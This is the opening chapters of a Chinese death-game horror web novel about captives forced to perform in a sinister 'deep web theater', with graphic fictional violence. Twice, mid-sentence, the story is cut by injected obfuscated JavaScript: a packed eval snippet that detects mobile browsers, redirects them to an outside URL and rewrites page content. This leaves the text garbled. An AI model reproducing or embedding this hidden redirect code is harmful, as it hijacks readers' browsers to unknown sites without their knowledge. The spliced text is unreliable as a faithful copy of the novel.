《等等,怎么你也在演?》 1. 第 1 章 昏暗房间里,只有面前悬浮屏幕散发着幽光。 持续的画面中,一个蓬头垢面的女性站在柜子前,手里是一架高速运转的电锯。她面孔扭曲,神情恐惧夹杂着癫狂,握着武器的右手颤抖个不停。 “这么久都不动手啊。你是要弃演吗?”声音骤然响起,在狂暴嗡鸣的电锯声中尤为突兀。女性迟缓地动了动。她的眼球空洞地转向斜上方。 镜头并未转开,聚焦在女性身上。 在漫长的死寂中,唯有电锯嗡鸣作响。她忽然猛地弯腰,令人牙酸的切割声中,她生生把自己的右腿锯了下来! 血肉模糊的残肢在裤管中狰狞着,血液一滴滴掉在地上。一条腿无法支撑,她趔趄几下,还是重重摔倒。 女性发出“嗬嗬”的声音,她似乎已经丧失了说话的功能,在刚刚的摧残下都没能发出惨叫。 她努力举起电锯。细瘦的胳膊像将折的枯枝,在微风中摇摇晃晃。锯齿连转中,还有她锯下的血肉残渣飞出来,打到她脸上。惨白的皮一点点黏在凹陷的面皮上,像臃肿的虫子。 电锯颤抖地举起,对准左腿,寸一寸压下。她干裂的嘴唇在颤抖,全身上下几乎都在痉挛,让人无法理解,她怎么还能继续动作。如果这是演戏,那她的演技也实在太出类拔萃、以假乱真了。 就在高速飞转的金属利刃要碰到她的左腿时,女性嘴巴大张,喉管急剧收缩,挤压空气。那是最后一声尖叫。 她用尽最后的力气,把电锯狠狠掷向墙壁! 炸开的巨响中,她颤抖着打开一片光幕,上面浮现一行字:我不演了—— “要求受理。介于您的点数已经清零,身上也没有别的东西能作为代替,您将迎来退场。您确定吗?” 放我去死吧,我不想再演了—— 一声轻笑。女性的身体从残存的左腿开始崩解,化为光点,弥散在空气中。 悬浮屏幕“啪”地一声,消失了。 后方墙面露出,镜子般的表面倒映出观看者。 那是位女性。她有着一张漂亮面孔,但带着尖锐的冰冷,走在车站里大抵没人敢去推销。两道月眉之下,眼瞳漆黑深沉,灯光打过去,点起簇簇火光,灼亮如花。 放映已经结束,室内却又响起声音:“舒觉女士,您的预定时间已结束,请收拾好个人物品后尽快离开,不要忘记登出自己的账号。” 广播重复了三遍,然而女孩纹丝不动。她保持着相同的姿势,面色漠然,盯着空白的墙壁。她似乎对这则通知充耳不闻,就如她面对方才画面中的惨叫与悲鸣一样。 她的手环震动数下。光幕弹开一则文字讯息:“舒觉,你的放映时间到了,尽快离开,把浏览记录都删除。” 她盯着那行字,半晌,吐出一口气。手指灵活柔软,飞快地在半空投影键盘上舞动,未显影的地方,一条条浏览记录正在飞速消失,一个字节一个字节,恢复成她进来之前的样子。 舒觉在虚空中摁了一下,光幕消散,房间内的灯彻底熄灭。她走向门外。 最后一条记录无声消失。上面写着:“深网剧场重映剧目,T0311卷。” ****** 舒觉睁开眼睛。久未见过的天花板,彩色玻璃灯罩里落下柔和的光,怪不得她刚才觉得眼皮前面很亮。 她拉开被子。这里是一间舒适的卧室,设施一应俱全,像布置好的样板房,没有人居住过的气息。 女孩侧目看去,床头柜上立着一封暗金色信函。舒觉拿下邀请函,动作干脆地撕开,里面落下一页黑色信纸,飘到她膝头。 她面无表情地浏览上方已知晓的内容。标准字体印着: 尊贵的演员阁下,欢迎您来到深网剧场,加入我们的星夜剧团! 请在这个大舞台上展现出您出类拔萃的演技、超乎常理的情感吧!只有打动挑剔的观众,您才能获得更多的点数,来支付您在这里的一切消费。 在点数达到一定阶段时,您有向剧团长许愿的权力。不论是什么愿望,不论它是否符合道德与法律,剧团长都会应允。 来吧、我亲爱的演员,请迎接独属于您的狂欢! 注:阅读完后,请下楼到客厅集合。 舒觉随手把这张纸放到一边。她翻身下床,赤脚踩在地板,快速检查一遍所有抽屉、柜内和桌面。全部空荡无物,如她所料。上次他们走得很匆忙,大概也没机会留下什么线索……而且,没人能担保那就是最近的一轮。 衣柜旁的落地镜映出她的模样。年轻的女性,脊背挺直,苗条但不纤瘦,穿着她下班后换上的白色立领T恤和高腰宝蓝色阔腿裤,脖子上绕着米色丝巾,神情冷淡。 舒觉拉开窗帘。外面已经夜幕低垂,繁星点点,而她记忆最后停留的位置,远方天际还逗留着一线微白。那么,距离她昏迷到在这里醒来,至少已经过了几个小时。也可能是好几天,很难判断。 不过,他们转移她的身体到这个地方需要多久,能否判断出此地的大概范围,这都不是她需要关心的。 毕竟,她根本不可能出得去。 一场不可预估、打破常规的游戏即将开始,而她自愿入局。 脚底芯片检测到震动,应该是其他人陆续从房间里出来,按照指示下去一楼了。舒觉考虑了一下,并未着急动身,反而坐回床上,默默等待。 一段时间后,她不再感知到震动,应该是人已经走完了。舒觉打开门,转身锁好。她的房间是离楼梯最近的几间,走两步就是楼梯了。 她回头看了一眼:长走道,两边对称分布着多扇门,一共十扇。 这比她预想的要多。毕竟一轮演员人数多在五到八人不等,十个……她没有看到过,但也可能是统计漏了。 应该没有更多需要查看的地方,也不好太晚亮相,舒觉便开始向楼下走去集合。 但可能是刚睡醒身体还迟钝着,她脚下一个趔趄,身体危险地前倾,眼见就要摔倒,她飞快伸手去抓旁边扶手—— 腰部传来抑制前冲的力道,那是一个人的手臂环绕在她腰上。同时,那个人握住了她伸出的右前臂,几乎把她完全抱了起来。 舒觉感到一阵战栗爬过脊骨,这个姿势让她几乎什么也做不了,难以反抗。但这道思绪也只是一闪而过,她快速镇定下来,转过脸对那人微笑道:“谢谢。” 不论他说了什么,这句话应对都是没错的。青年视线很快在她身上转过一圈,没有说话,只是点了下头。他看上去和她年龄相近,虹膜呈现出浓郁的金棕色,像是深色的蜜糖。 他松开她手臂。舒觉继续往下走,看见客厅里已经聚集了好些人。其中一个看见他们,张口在问:“哦,还有人。你们后面还有谁没出房间吗?” 舒觉没回答。她看到询问的青年做出哦的口型,转回头,便知道身后的青年已经先行作答。多说多错,她暂时还是想扮演一个无害的沉默角色。 她晚来,已经没太多位置选择,便向刚刚发问的青年问:“能给我让个位吗?” 他往旁边挤了挤,那边也是个男生,他听话地往旁边靠,看到舒觉时故意大幅度眨眼,向她挥手,“嗨,美女。我叫曲语冰。” 舒觉瞥他一眼,并不搭腔。中间男生脸上写着一点好笑和尴尬,吃了个闭门羹的曲语冰反而很是自得,微笑着将视线投回前方。侧过脸才能看见,他的左边耳朵上打了三个洞,全部在耳骨上,分别戴着三角形、圆形、星状的黑色耳环。 在她后面的男生走到她旁边,与另一个单人沙发的中间站定。舒觉没理会他,趁着还没人说话,她快速扫视过一圈客厅里的成员,将他们的面部特征记下。 有几个人引起了她的注意:左右两个单人沙发上都坐着职场人士。左边是位白领装扮的美人,唇上一抹正红艳亮面孔;右边的男人穿着白大褂,眉心一点小痣如慈悲相。 乍看之下,他们并无特异之处。但舒觉看见了,女人虎口与指间的 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“不太清楚啊。我就记得自己刚下完班要去吃饭,眼睛一闭一睁,就到这里来了。”白领率先开口。 她环顾四周,问:“大家的情况是不是都差不多?明明还在做自己的事,但再次睁眼就到了这里?” 这一次,几乎所有人都点头了。那个穿绿纱裙的女孩不安地说:“那个,有没有人听过,那个‘深网剧场’的传闻?” 舒觉微微眯眼,注视对面嘴唇一张一合,“就是会忽然来到一个不一样的地方,然后要做一些事,去实现自己的愿望。我记得那个帖子是这么说的。” “啊,你说的这个我也有听说过。”白大褂男人接话,他对她鼓励地一笑,那个女孩明显松了口气。他继续道:“那就是说,我们是要按照那张邀请函上说的,演戏来实现愿望吗?” 一个短暂轻巧的沉默,仿佛乐章间的中顿符,随后众人视线都汇聚到中央,而舒觉面前忽然出现一个光屏。 她略感惊讶,只见上面浮现一行字:没错。看来这次的演员也有聪明人嘛! 她快速扫过旁边,意识到这个光屏应该只有她看得见,是专门调到她手环参数的。看来,应该是主办方不想让她错过这段开场介绍,专门给她弄了个文字转录。 她再看向中央。那里逐渐显出一道人形,光点碎片纷飞拼合,形成一个小姑娘的样子,模样俏丽明艳,却总透出一股狡黠与邪气。此人歪过头打量众人,殷红的嘴唇翘起一个笑,再度开口。 光屏同步显示着。她说:“各位演员好啊,我名穷奇,是星夜剧团经理人。接下来,由我向各位介绍规则、监督排演、发放奖励、实施惩罚。” 没人开口。她露出尖锐的犬齿,将翘起的双腿并排垂下,“本剧团一直以奉上真情实感的动人剧目为宗旨,因此,在座的各位演员们,你们要通过演绎不同剧目来赚取点数,来交换你们所需的各项物资。在这里,你们通用的钱币就是点数,获取点数随时可以在手环上查看。” “每项剧目的演员为随机挑选,被选中的演员不得拒演、不得中断,否则会被实施惩罚。每场演绎后,会有点数发放,点数高低由观众决定。通常,你演得越像,越能让人体会其中情感,点数就会越多。” 她顿了一下,咯咯笑起来。“当然,越激烈的情节一般点数会越多,付出与回报成正比嘛。” 这个“激烈”显然不是褒义。舒觉继续看屏幕闪过字符,同时小心不让别人发现她视线并不朝向穷奇。 “主要规则就这一条:通过演戏获得点数,来实现你们的愿望。有任何问题,都可以向手环里的‘幕后人员’提出,他们会在权限以内进行解答和解决。” “当然,本轮有着一条特殊规则。”她撇撇嘴唇,“你们中间,藏着一个背叛者。” “星夜剧团的编剧。找出他。” 舒觉藏好自己骤然变深的吸气。 2. 第 2 章 北山大道107号三楼,春日舞蹈室。 舒觉把手环往门口感应器上一贴,万能密钥自动运行,门向两侧打开。这类行为属于轻微违法,但充其量只是拉到警察局被教育一番,而且这是他们科室研发的版本,绝对不会触发任何警报,更不会被警方察觉。 里面有三四个孩子和一位女老师。老师身形修长苗条,是标准的舞者身材,盘得紧紧的圆髻里夹杂些许银丝,眼尾也有些皱纹。但很少人会真的觉得她上了年纪,至少舒觉不会这么觉得。 她走进去,对那位女性一点头,“老师。” 女人看她一眼便移开目光,随后她拍拍手,说:“好了,同学们,今天的课就到这里,记得在家里也要多复习,注意表情和姿势!” 学舞的孩子们鱼贯而出。很快,舞蹈室里只剩下她们两人。舒觉走近对方,说:“我上次说的事,您愿意帮忙吗?” “我已经退休了。”女人回答。 她转过身,和舒觉一同面对宽大的镜子。光滑的表面倒映出年轻与不再年轻的人,一者暗含焦虑,一者心存疑思,然而她们站立的姿态出奇的一致。 “如果要将这些官方流程和文书,我已经拿到了调令批准。”舒觉说,从镜子里看向对方嘴唇。 “我不在意你拿到了什么。我已经退休了,让我享受下退休生活不行吗?” “您真的退休了吗?可我的观察者人选上还写着您的名字呢。梁秋颦老师。” 她语调带着一点调笑、一点嘲弄,被叫到真名的人缓缓转眸,凝视着这个年轻女孩。尽管她们都知道,她在叫这个名字的时候从未做过她的老师。 “你是怎么发现的?” “我毕竟是从那个地方出来的。负责教我们侦查的老师当年和您从事的是一个职业。” 梁秋颦没再说什么。她的确会不时会站在不近的地方,装作一个陌生人,观察舒觉的举动,确保她没有表现出任何反社会、反政府的倾向,已经完全摆脱了当年七日教会的影响,成为了社会中的正常分子、政府里的可靠职员。 这项工作直到她名义上退休后,仍在继续。她自己也说不清为什么接受了这样的安排。她分明最讨厌加班,局里也给了她其他人选,接手她监控舒觉的任务。 但她还是选择了亲眼观察这个孩子。这个她亲手从七日教会组织中救出来的孩子。就好像这是一种她必须背负起的责任。 她拉回思绪。梁秋颦说:“你想要我怎么帮你?” “您不是最擅长扮演成另一个人吗?我希望您帮我设计一个,在这场游戏中能够取信于他人的角色。”舒觉也侧目,与她对视,她的嘴角略微放松下来,“毕竟,您是第一个教导我如何伪装自己、欺骗他人的老师啊。” ***** 舒觉下意识藏好自己的震惊。她刻意没有去和任何一个人对视,但某个时刻,她视线飞快从面前光屏抬起,对面的人果然正在看向她,眼神是与她相同的诧异与担心。 她幅度轻微地摇摇头,示意一切行动照旧。对方便把视线移开了,装作也在看穷奇的样子。 接着,舒觉表现出一副吃了一惊的样子,但不能太过,用力太猛只会崩了人设。众人都在相互端详,仿佛这样就能确认那个人是否叛徒。 穷奇仍在说话:“你们没听错哦,为了增加剧团中生活的趣味性,我们的编剧特意潜入你们中间,观察各位的一举一动。” 她咯咯笑了几声。“只要找出这个人,就能获得超大量的点数。不仅可以许愿,还可以回去,继续你们的生活。” 最后一句像点燃薪柴的火星,场上一下子炸开了锅。舒觉身边的男生激动地提高了声音:“你说真的?只要找到这个‘编剧’,我们就可以回去了?” “是的。只要指认成功,剧团就会送你们回去。当然,如果你不想回去,也可以。”穷奇挥挥手,像这只是件小事。 她接着说:“不过,还请各位注意了。指认不需要征得任何人同意,只要你认为‘这个人是叛徒’,就可以直接语音指认,我方保证,在任何地点任何时间都受理。” “但是,如果你不幸指认错误了——这种事也很多见呢,那么,所有人都会直接被判定退场。” 一席话让刚看见希望的众人都沉默下来。有人小声问,是双胞胎中的女生:“‘退场’……是指什么?” “问得好。”她想必早就想为众人展示一番了,只见穷奇打了个响指,身旁骤然出现一个人。 是位女性,二十五上下,染成亮粉色的长发纠缠枯萎,如同腐烂的月季。身体纤细得不像话,好像缩水的衣服,骨架上支撑一层皮肉。她整个人都呈现出即将死亡的姿态。 她被反绑在一张椅子上,四肢都往奇怪的方向扭曲着,如同被恶意操纵的提线木偶。嘴上贴了胶布,不过此举似乎并无必要,毕竟,她看起来连发声的意愿和力气都丧失了。 舒觉认出了这个人。但她并不发声,因为很快有人惊呼:“这、这不是那个,最近很火的灵异博主!叫什么来着?” “邱容。她的粉丝有几百万,差不多是这个领域里最火的那几个。”那个白领看上去很震惊,“她为什么会在这里?” “听说她断更很久了。看来,是进入了这里。”白大褂男人说。即使在这样的时刻,他仍然处事不惊似的,面孔和语调都没有很大波动。 “没错。”穷奇咯咯笑起来,笑靥如花般,娇艳绽放着,“邱小姐自愿进入了我们剧团。不过现在,她似乎后悔了呢。” 舒觉心中一凛,意识到其中暗示。她表面冷眼看着这场精心安排的表演,等待有人察觉这条隐藏线索。 “自愿?她为什么要……” “因为她想要成名啊。她想要拥有大量的财富,自由过梦想的人生。”穷奇用一种漫不经心的口吻说着。 她侧转身,目光仔仔细细扫描过邱容面孔。“她想要实现愿望。而本剧团正好可以满足她。所以,她找到了我们,说她愿意为我们表演。” “这么热心的演员,我们怎么舍得拒绝呢?”她微笑起来,“可惜,她没能坚持到回到原本的世界里,去见证自己的愿望实现呢。” 看着那个不成人形的人,舒觉心中轻轻掠过一丝恐惧。她知道,只要她棋差一着,甚至只是某个微小的失误,都可能会沦落到相同的下场。 但这是她选择的路,即使尽头除死亡外别无他物,她也不会后退,更不会后悔。 此时,穷奇转向邱容,殷红嘴唇咧开笑容,眼中充斥狂热兴奋,“那么,邱小姐,本剧团已经满足了你‘想要活到最后’的愿望,现在,是您支付的时刻了。” “啊,我想起来了,之前你已经失去了两只眼睛、全部左臂、还有两腿膝盖以下的部分对吧?你身上也没什么好拿走了。”她仿若自言自语,随着她的话语,邱容身上的部分逐一消失,本人却毫无反应。 深夜剧团,就在众目睽睽之下,轻易剥夺走一个人的肢体。场面不恶心,不,甚至称不上有什么恐怖要素,那些她念到的人体部分,就只是消失了,仅此而已。 一个残缺的人体被绑在椅子上。然而,全程无声无息,仿佛只是一部无声电影的片段。邱容空洞的视线对着前方,头颅一晃一晃,却还没有死去。 “你身上其他的部分不足以支付这个愿望呢。真遗憾,我们只能判定你退场了。”穷奇愉快地说着,她抬起双手,向下一压—— 女人的脸一瞬间剥落而下,其后呈现的面部只剩一片空白光滑。 尖叫声贯穿房屋,不是邱容,是站在舒觉对面的一个女孩。她穿着绿色纱裙,跌坐在地,而后死死捂住嘴,撑开的眼里全是恐惧。 其他人的反应没那么大,但也基本都面色苍白。舒觉放在腿上的手十指交叉再撑开,做出一个祈祷的手势。她意识到这一点后,猛地将双手扯开了,就像这是不小心被胶水粘上的一样。 穷奇欣赏够众人的神态,最后打个响指,无数道蓝色光线刺穿邱容身躯,将她完全粉碎成了碎片。人体的残渣飞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467482|185517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 溅,鲜血一瞬间炸开成烟花的形状,一个人就在他们面前死去。 舒觉身边的男生没忍住干呕几声。那个尖叫的女生已经泪流满面。白领和白大褂均是面色凝重。 一抹血迹溅上了那件纯白的外套,留下刺目的痕迹。 穷奇大概是很满意这个效果,她拍拍手,“好了,说这些,就是希望各位指认之前好好想清楚,不要把一些无辜的可怜人也一起拖下水了哦!毕竟,各位演员都是我方宝贵的财富呢。” 场间气氛几乎冻结成冰。没人能担得起如此巨大的代价。这条规则实在过于极端,把自己排除了也是九分之一的成功率,低得让人看不见希望。 穷奇微笑着看着他们所有人,目光逡巡在各异的面孔上,仿佛在欣赏一出盛大的表演。 良久,她拍拍手,打破这份沉寂。“我知道,各位演员想必都很好奇怎样进行表演,又会如何被评判。那么接下来,就让我们直接开始第一场演出吧!” 提示音从所有人手环中响起。小光幕浮现,上面是几行字: 【剧目:破晓之前见】 【演员甲:舒觉】 【演员乙:祝时明】 舒觉还没来得骂出声,意识便中断了。 ***** 待她能再度视物,四周场景全换了。 她正站在一个漆黑的房间里,唯一的光源是窗口透进来的幽黯月光。 舒觉低头一看,身上的衣服也变了,深色的长披风与礼服上衣,雪白的蓬蓬短裙下是荆棘缠绕般的尖跟靴,她反手感知身后莫名的重量,甚至扯到了两对小翅膀。 舒觉故意叹出口气。要是其他人没在观看,她也懒得装出一副为难的姿态。但作为他人眼里的倒霉蛋,她要是表现得太波澜不惊,或者立刻就投入表演,都很是可疑。 所以她得露出无所适从的表情,最好再迷茫地看向四周,这才像她这个年纪应有的样子。 面前弹出的光幕上快速滚动出台词和动作提示。这些全部是要完成的部分,缺少任何一环都会被判定为拒演,导致惩罚。 在表演途中,这片光幕会随演员需求出现或者消失,因此倒是不用担心忘词。 舒觉扫了一遍,随手关掉屏幕。她动起双腿,诅咒发明这种尖跟鞋子的人。要不是她平衡感比较好,保准摔个五体投地。 依照剧本提示,她向前走。 房间角落,一线月光照亮坐在地上的人的面庞。她惊讶地发现,是那个在楼梯上抓住了她,让她不至于摔倒的人。 他察觉到她的走近,略抬起头。她注意到他的左眼下方有一片淡淡的雀斑,在苍白的月光中几乎只是模糊的淡色。他的样子有些…… 她不知道是不是该说熟悉这个词。这不应该,因为这只是他们的第一次见面。 不过世上的确有些人,你第一次见的时候就会心生亲近,好像他是一个多年未见、久远归来的故友。 不论如何,现在这都不是重点。舒觉以华丽夸张的声调念出台词:“哎呀,最后你还是落到我手里了呢。感想如何,骑士先生?” 祝时明的视线移动到她面上。他面容平静,但眼中闪过一刹那的波涛,舒觉并不清楚那是不是演技。 他说:“不必废话。做你想做的事吧,血魔女。” 舒觉轻笑出声。随后,笑声越来越大,越来越张狂,直到惊飞铁栏边一只黑鸟。它扑扇翅膀的声响落在一片突兀的寂静中。 良久,两个人的呼吸声是唯一悬在空中的线。 舒觉蹲下去,手指挑起他下巴。他似乎没想起正在演戏,脸上浮现出无措,接着一层淡淡红色蔓延上面皮。 舒觉决定还是别横生枝节了,赶快演完了事。 她单膝跪下,身体前倾,两个人几乎贴在一起。她伸手扯开他的纽扣,有力地摁住他露出的肩膀。没有她预想中的躲闪。 青年皮肤上的热气浸入她的指尖。舒觉不再深想。她张开嘴,牙齿带着锐光,一口向祝时明肩颈咬下。 3. 第 3 章 从员工宿舍楼坐电梯下来,舒觉才注意到外面天全黑了。 睁开眼的时候,她就在分配给她的宿舍里了。这里她很少住,除非被警局抓去帮忙追踪网络罪犯需要连轴转,实在无可奈何。 她完全搞不清,自己为什么会在这个地方;更别提她才刚清醒不到十分钟,就有个她并不认识,却自称是政府特殊派遣调查员的人,要问她几个(实际上是非常多)问题。 关于她进入,后来又侥幸得以离开的,那个地方的问题。 舒觉烦躁地抓了下头发。她有些口渴,便在路边24小时便利店里买了杯芒果奶昔。嚼着里头的果粒,她终于觉得心情好了一点,但也意识到,需要考虑的事情还有很多。 不过,现在,她只想回家去。 沿着熟悉的路走着,不多久她便来到一座公寓楼前,刷卡、坐电梯、再刷卡开门,一系列动作一气呵成。 屋内的灯亮着,弥漫着柔和的光。舒觉愣了一下,但很快反应过来。她脱鞋,趿上自己的脱鞋就往里面走去。 见到坐在餐桌边挖酸奶的女人,她几乎觉得喉头一哽、眼眶发酸。“……姐姐。” 听到这声呼唤,那人抬头,脸上是不加掩饰的震惊:“哦我的甜心!你刚刚叫我什么?” “安姐姐。”舒觉走过去,把喝剩的果昔放到桌上。女人张大嘴巴,震惊变成了惊恐,“什么东西夺舍了我的舒觉宝贝?我要找个驱邪的——” “安丽廉、安女士、安律师。我请你行行好,放过我吧。”舒觉认命地叹口气,同时又感到庆幸:幸好,她的生活,以及其中的人都没什么改变。 但有些东西变了,她知道的。 安丽廉,舒觉的监护人兼法务代理律师,自她十六岁后一直抚养她直到现在,可以说,她是舒觉最亲近信赖的人之一。此时她正打量着那杯果昔,似乎是怀疑其中含有什么致幻成分。 作为中美混血,她中文说得溜得要命,但一些人称的口癖还是改不掉,舒觉已经投降了。她说:“你有报案吗?” “什么?”安丽廉看向她,“哦,对了,你的秘密项目进行得怎样?顺利吗?” “秘密项目?”舒觉重复了一遍。 她的监护人理所当然地点点头,“对啊。你不是和我说你们单位有个秘密项目需要你参与,要去闭关三个月没法联系吗?现在‘出狱’了?” 舒觉深吸一口气。她试图压下震惊。她本不该如此意外——剧团做出什么借口来掩饰她的失踪都有可能。 但他们不该如此天衣无缝。没有万全的伪装和设局,不可能骗得过安丽廉——她是舒觉见过最敏锐的人之一,这也是她在律师一行屡屡取胜的原因。但凡有任何一点不对的苗头,她都能像大白鲨嗅到血味那样,飞速迅游至目的地进行捕猎。 这点,她们可以之后再谈。舒觉思忖着,慢慢开口:“我要告诉你一件事,你不要吃惊。” 安丽廉关切的目光在她身上四处熨帖,“怎么了?你看上去确实状态不太好。” “这三个月,我没有什么‘秘密项目’。”她说。 “我被带进了‘深网剧场’。” ***** 又是一阵黑暗和忽然的明亮,舒觉眨几下眼睛适应,发现自己又回到了那间客厅。 她转过头,正好与垂目的祝时明对上视线。她有点吃不准自己该如何回应对方:是要模仿自己将在这场游戏里扮演的角色,还是做出本心的回答? 她什么也不用做;和她一般年纪的青年凝视她一会儿,最后微微地笑了一下。只是眼睛简单弯出一点弧度,甚至不注意看会认为是面无表情,但舒觉能很清楚地发觉。她不由得也稍微翘起嘴角回应。 他倒是没有她想的害羞和局促。这个念头一瞬即逝,舒觉注意到面前语音转录的光幕又开始滚动了。 “这就是一次演出的过程。真是精彩的表演呢!”穷奇窃笑两声,“那么,祝愿各位在这里度过愉快又充实的时间!我就不打扰了。” 舒觉面前的光幕关闭了,她向前看,穷奇的身影也消失了。 真不愧是带来祸乱和灾害的恶兽,就这样拍拍屁股溜走,给他们扔下满地烂摊子。 她身边的男生先向她发问:“没事吧?”他眼中的担忧不像作假。 舒觉礼貌笑了一下,“我还好。你不如问一下祝时明?我那一口咬得还挺狠的。” 那个男生才反应过来,到底是谁可能受伤。他连忙转向祝时明,“你怎么样?” 被问的人顿了一下。他慢慢张口:“我没事。” 他的语速比一般人要慢。并且唇形动作很清晰。刚刚念台词的时候好像也有些。 为了证明他的情况,青年拉开灰色的针织衫外套,再扯开里面的白色衬衫,他指着自己的脖子,“你看,应该都没留下什么痕迹。” “我可没有嘴下留情啊。”舒觉开了个玩笑,对方把衣服拉回去,嘴角抽搐着,好像是不知道该笑还是该无语。“演戏的时候的确感觉挺痛的。” “那就是说,演戏时候受伤不会影响到现实?”身穿白大褂的男子沉吟着。 他对面的白领干脆地说:“问问就好了。” 她轻触手环,声音清晰:“幕后,是不是演戏时候受的所有伤害在演戏结束后都会恢复?” “八号响应。是的,任何在演戏受的伤,在演戏结束后都会还原为初始状态。”电子音响起,回答了他们的疑问。 “那还好一点。”那位白领说。舒觉身边的男生应道:“至少这对我们是有利的。” “那我们,是要按照那个女生说的,得演戏才能活下去吗?”一个怯怯的声音加入进来,是那个穿浅绿纱裙的女生。她神情惶恐,手指不安地摩挲着胸口衣服下的一个物件。 “是呢——我们非得听她的不可吗?”曲语冰懒洋洋地说,他看上去是所有人里最放松的那个,已经整个人瘫到沙发靠背上,手臂随意绕过沙发靠背,其他人不得不往前坐一些,免得被他硌着。 “但是,不听她的话,我们可能会死,不是吗?”那对双胞胎中的女孩第一次开口,她有些紧张地环视周围的大人,但并无多少畏惧,“我不想死。我要回家。” 这句话让所有人都沉默下来。舒觉脚尖轻轻点着地板,心想:终于有人说出了最重要的一点。 不论是什么愿望,总要回到真正的生活中去,才能亲眼看到它被实现。而若是许愿在这个世外孤岛上生效的东西,既然无法带回去,除了让你在这场游戏里好受一些,也没有任何意义。 “……那么,我们现在有两条路可走。”沉稳的声音打破寂静。众人都看向白大褂男子。 他镇静,且深思熟虑地说:“要么,演戏直到凑到足够点数进行许愿,选择回去;要么,找出背叛者,也可以回到日常生活里。 “虽然后者看上去更简单,并且可以让所有人都回去,但猜错的代价没人付得起。所以,我们可能也还是得走第一条路。” 他继续说,同时视线慢慢扫过每个人的面孔,“总之,还是先按照那个……‘穷奇’的要求来做吧,毕竟我们摸不清对面手段,如果贸然抵抗造成不可挽回的后果,就太晚了。” 他说得中肯,条理清晰,无形之间便让人信服了。可惜舒觉并不是那么容易被他人打动的类型。她早已学会不要轻易信任任何人。 不过,目前来看,他似乎的确只是在提出自己的建议,发表完看法后便不再言语了。毕竟他看起来是年纪最大的,也许是有一种身为长辈的责任感。 “看来,大家应该要在这里相处一段时间了。”那位白领说,她似乎也并不慌张,一直在凝神注意场间情况,与他人相比,这时候年龄和阅历的差异就明显体现出来了。 女人眉目含笑,说:“既然这样,那大家还是互相认识一下比较好,稍微做下自我介绍吧。” 说完那句话后,她便主动道:“我叫姜满,马上要二十七,是个上班族。” 说完她便示意左手边那个穿纱裙的女孩。那人吓了一跳,大概是没想到这么快就轮到自己了,透亮的眼睛快速眨动几下,才嗓音发紧地说:“我、我叫洛珠,在冀湖大学读大一……” “哎,校友啊。”曲语冰兴致很高地搭话,“你是哪个系的?” “我学航天航空……”洛珠回答,像极了上课突然被点名的走神学生,脑袋空空,有什么说什么。 曲语冰向前倾身,视线饶有兴致地粘在她身上,“哦,是学妹呢——” 他再靠回沙发,便说道:“我呢,姓曲,曲子的曲,叫曲语冰,冀湖大学法学系大二学生。洛学妹以后在学校要是有什么需要帮忙的,尽管可以找我哦。”说着便朝对方眨下一边眼睛,看得舒觉一阵恶寒,胳膊上一层鸡皮疙瘩。 “你这样的性格居然是学法的……”他俩中间的男生吐槽。 曲语冰看他,仍然是轻飘飘的口吻。“我的性格怎么了?” “算了,当我没说。”那男生懒得和他纠缠,顺着他的顺序接着自我介绍,“我叫苏彦,也是冀湖大学的,今年要大四了。我学的是计算机。” “舒觉,冀湖大学大二,计算机系。”轮到她,舒觉便简单说了几句。苏彦惊讶地看她:“你和我一个系!” “是啊,以后就靠师兄带飞了。”舒觉半开玩笑地说。 苏彦笑起来,“包我身上!以后你要是选课什么的都可以来问我,我肯定知无不言。” 他看她的眼神明显亲热一些。舒觉转眸一瞥,看到曲语冰似笑非笑的表情,她心中哼了一声。 她这厢说完了,祝时明站在那儿,见大家视线都聚到他身上,青年颇不自在地说:“我叫祝时明。也是冀湖大学大二的,我读医。” 暂时没人想多问什么,于是便轮到了洛珠身边的人。 那人有着一头亮丽的深红色齐肩发,在一众黑发中分外抢眼,相貌清秀,一眼望去居然难辨性别。 此人还未开口,曲语冰忽然说:“你要不要坐下?” 他拍拍旁边宽大的沙发扶手,“这里还能坐人。” 那人眼神有点怪异地扫过他,随后吐字时声音明显是男性:“乔木,冀湖大学大三,数学系。”他对曲语冰的话没有任何回应。 曲语冰碰了个钉子,倒也没什么特别表现。其他人大概都只会觉得,他以为对方是女孩子,想要献个殷勤没成,甚至还献错了对象。 乔木说完后,那张精致的脸上再度恢复了冷淡,他看上去是那种难以接近的类型。舒觉视线在他裤子上停留三秒,又不着痕迹地转开了。 那对双胞胎中的女孩子先说话了:“大家好,我叫邹摇光,现在在冀湖市行知中学读高二。” 然后她戳戳旁边的男孩。对方刚睡醒似的,头垂着一点一点,被邹摇光猛戳好几下才抬起头,露出张茫然的脸,唔唔两声,才说:“我叫,邹玉衡——现在也在,冀湖市行知中学,读高二……” 这表现未免也过于心大。没人说出口,但脸上多少露出类似表情。邹摇光恨铁不成钢地拍了一下他的头,“你能不能清醒点!睡睡睡就知道睡!” 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467483|185517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一脸习以为常的无奈,解释道:“抱歉,我弟弟就这样,每天都像睡不醒,不是故意的。” “没关系,大家高中都很缺觉,这也蛮正常的。”姜满轻笑几声,帮着打了个圆场。 最后一位,那个穿着白大褂的男子,也如姜满一般表现出从容的态度,声音温润:“看来我是这里最大的。我叫应如观,今年二十八,在清源市做法医。” 清源市就在冀湖市的隔壁。他倒是和大家有所差别。不过这也不能说明什么。舒觉没有太把这一点当回事。 